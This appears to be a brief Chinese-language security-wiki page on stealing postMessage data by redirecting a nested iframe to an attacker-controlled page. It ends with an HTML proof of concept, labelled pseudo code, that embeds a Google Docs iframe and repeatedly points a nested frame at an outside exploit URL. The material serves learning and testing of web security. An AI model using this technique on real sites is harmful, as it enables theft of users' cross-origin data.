Steal postmessage modifying iframe location
更改子 iframe 位置
根据这篇文章,如果您可以在没有 X-Frame-Header 的网页中嵌入包含另一个 iframe 的网页,您可以更改该子 iframe 的位置。
例如,如果 abc.com 将 efg.com 作为 iframe,并且 abc.com 没有 X-Frame 头,我可以使用 frames.location
将 efg.com 更改为恶意网站 evil.com,跨源。
这在postMessages中特别有用,因为如果页面使用类似 windowRef.postmessage("","*")
这样的通配符发送敏感数据,就有可能更改相关 iframe(子级或父级)的位置到攻击者控制的位置,从而窃取这些数据。
<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
//pseudo code
setTimeout(function(){ exp(); }, 6000);
function exp(){
//needs to modify this every 0.1s as it's not clear when the iframe of the iframe affected is created
setInterval(function(){
window.frames[0].frame[0][2].location="https://geekycat.in/exploit.html";
}, 100);
}
</script>
</html>
最后更新于